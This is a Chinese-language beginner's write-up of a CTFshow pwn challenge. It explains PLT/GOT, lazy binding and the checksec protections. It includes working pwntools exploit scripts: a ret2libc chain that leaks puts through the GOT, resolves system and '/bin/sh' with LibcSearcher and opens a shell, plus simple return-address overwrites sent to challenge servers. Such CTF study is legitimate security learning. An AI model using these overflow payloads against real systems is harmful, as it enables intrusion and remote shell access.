pwn的小试牛刀

CTFshow pwn03

因为是第一次尝试pwn,见谅..
下载得到一个stack1文件
已知(萌新):做pwn一般是根据所给的程序,于IDA进行反汇编,经过一系列逆天操作获得/bin/bash的地址,然后进行EXP的书写,最后pwn!!!,成功执行命令,拿到flag
当然这道题先跟着WP进行学系~

got与plt表关系(ret2libc)

简单检索一下(我看懵了这就是pwn吗):
PLT与GOT表均为动态链接过程中的重要部分

GOT: Global Offset Table, 全局偏移表,包含所有需要动态链接的外部函数的地址(在第一次执行后)
PLT: Procedure Link Table, 过程链接表,包含调用外部函数的跳转指令(跳转到GOT表中),以及初始化外部调用指令(用于链接器动态绑定dl_runtime_resolve)

Linux虚拟内存分段映射中,一般会分出三个相关的段:

.plt: 即上文提到的过程链接表,包含全部的外部函数跳转指令信息
.got.plt: 即下文将要表达的GOT表,与PLT表搭配使用,包含全部外部函数地址

简单来说,PLT表存放跳转相关指令,GOT表存放外部函数(符号)地址点到为止,继续就听不懂了

延迟绑定实现

一大堆的东西,看不懂就删了吧
https://blog.51cto.com/u_16356440/8601071
这位大佬写的过程很详解了,直观看到动态链接前后的变化,以下内容也来自于这篇博客~
收获:
首先libc中的地址默认开启随机,但是这种随机只是加载到程序时基地址随机,libc内部所有函数的相对位置没有变化。
做题时分两种情况
1.我们已经获得了题目给的libc文件
2.没有libc文件
这两种其实再exp写起来思路是差不多的,都需要泄露一个libc库里函数的地址才能用得了库里面别的我们需要的函数,如system。
所以无论如何我们得先泄露一个函数的真实地址。在根据具体libc库的版本得知所有函数的偏移情况如何,就可以调用我们心心念念的system函数了。
1.这里最好的方法就是泄露已经调用过的函数的地址。因为其地址已经被写入got表了。这里我选择泄露read。

2.如何让程序把got表里的东西写出来呢,我们这里直接调用像puts,write,printf这样的函数就行。看这段payload,题目里其实还有write函数,但是puts函数只需要一个参数,比较方便,不需要找一大堆popret。

1
2
3
4
5
6
7
8
9
10
11
12
13
io = process("./repeater")#在本地调试时引入题目附件
elf = ELF('./repeater')
puts_plt = elf.plt['puts']#其实就是在题目附件里找到call puts@plt的地址
read_got = elf.got['read']#这是在题目附件里找到got表里read的位置。
#在程序运行了该函数之后,got表里就有read函数真实地址了
vul_adr = 0x401196#由于每次加载程序libc基地址都会变化,
#所以我们整个爆破过程必须一气呵成,在泄露之后回到vuln再次发起爆破
pop_rdi_ret = 0x4012c3#这个地址和vuln地址倒不是随机的,可以直接在IDA看
offset = 0x28#栈溢出填充的垃圾数据的字节数
payload = b'a'*offset+p64(pop_rdi_ret)#用pop将后面需要泄露的got表存入rdi,作为puts函数的参数
payload += p64(read_got) + p64(puts_plt)#puts_plt等于puts函数的地址,调用puts把read_got储存的read真实地址泄露
payload += p64(vul_adr)
io.send(payload)

将函数的地址绑定推迟到第一次调用该函数

checksec各个值的意义

位置无关可执行文件(PIE)

位置无关可执行文件(Position-Independent Executable)(PIE),顾名思义,它指的是放置在内存中某处执行的代码,不管其绝对地址的位置,即代码段、数据段地址随机化

NX(堆栈禁止执行)

NX 代表 不可执行(non-executable)。它通常在 CPU 层面上启用,因此启用 NX 的操作系统可以将某些内存区域标记为不可执行。通常,缓冲区溢出漏洞将恶意代码放在堆栈上,然后尝试执行它。但是,让堆栈这些可写区域变得不可执行,可以防止这种攻击。

RELRO(GOT 写保护)

RELRO 代表 “重定位只读(Relocation Read-Only)”。可执行链接格式(ELF)二进制文件使用全局偏移表(GOT)来动态地解析函数。启用 RELRO 后,会设置二进制文件中的 GOT 表为只读,从而防止重定位攻击

开始:

使用IDA反汇编打开stack1,看到main函数

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("stack happy!");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}

有一个pwnme()

1
2
3
4
5
6
7
int pwnme()
{
char s[9]; // [esp+Fh] [ebp-9h] BYREF

fgets(s, 100, stdin);
return 0;
}

**fgets:C 库函数 char *fgets(char str, int n, FILE stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
发现只有9个字节大小,但是fgets了100个字节内容,存在栈溢出漏洞
栈溢出题目,基本上不需要调试,ida本身提供的栈空间数据就可以实现偏移的计算。
覆盖返回地址然后执行/bin/sh
第一,找到覆盖返回地址的偏移量,即pwnme这个函数的返回地址
返回地址:当前fgets函数结束后,程序下一步要到达的地方
第二,找到/bin/bash在哪里,例如,如果题目有一个函数shell里面有system(“/bin/bash”),即找到这个shell函数的调用地址
附上一个简单的payload

1
2
3
4
5
6
from pwn import *
r = remote("220.249.52.133",53948)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)//前面两个是偏移量=buf长度0x80+r和buf之间的s的长度0x8 ;后面一个是调用地址
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()

payload = 填充字符 + system地址(ret中eip的位置)

尝试gdb stack1再run不行,存在nc(checksec最初发现了nc开启)
手动添加chmod +x stack1
理一下思路,现在我们发现了栈溢出,代码中没有system也没有/bin/sh,都要在动态库里找,而且要找到返回地址的偏移量
32位的程序,通常情况加4个字节覆盖到返回地址
或者

1
2
3
4
5
6
7
# 生成长度为100的乱序字符串
cyclic 100
# R 命令运行输入字符串
发生报错,即溢出成功,查找EIP字符。—— ‘iaaa’
查看EIP字符串 ‘iaaa’ 的偏移量:
cyclic -l iaaa
即可计算出偏移量

运行cyclic 生成随机字符串;获取溢出地址,通过 -l 计算偏移
工具pade也可以很方便的计算出偏移量
但是问题是关于另一个通过动态链接获取到/bin/bash还是没太看懂…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from LibcSearcher import*
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28151)
elf=ELF('./stack1')
puts_got=elf.got['puts']#存在puts函数,直接获取它泄露的地址
puts_plt=elf.plt['puts']#远程libc库的puts地址?
main_addr=elf.symbols['main']
payload=b'a'*13+p32(puts_plt)+p32(main_addr)+p32(puts_got)
io.sendline(payload)
io.recvuntil('32bits\n')
io.recvuntil('\n')
puts_addr=u32(io.recv(4))#获取的地址以定位
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)#获取libc版本
libcbase=puts_addr-libc.dump('puts')#计算基址
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'a'*13+p32(sys_addr)+b'a'*4+p32(bin_sh)#p32加4个字节覆盖到返回地址
io.sendline(payload)
io.interactive()

成功~

纪念一下自己做出的最简单的exp

1
2
3
4
5
6
from pwn import *
#p = process('./cat')
p = remote("challenge.qsnctf.com",31474)
payload = b'a' * (0x50+8) + p64(0x00401232)
p.sendline(payload)
p.interactive()

哈哈
https://www.toutiao.com/i6978232161929331214/
https://blog.csdn.net/Zheng__Huang/article/details/119484353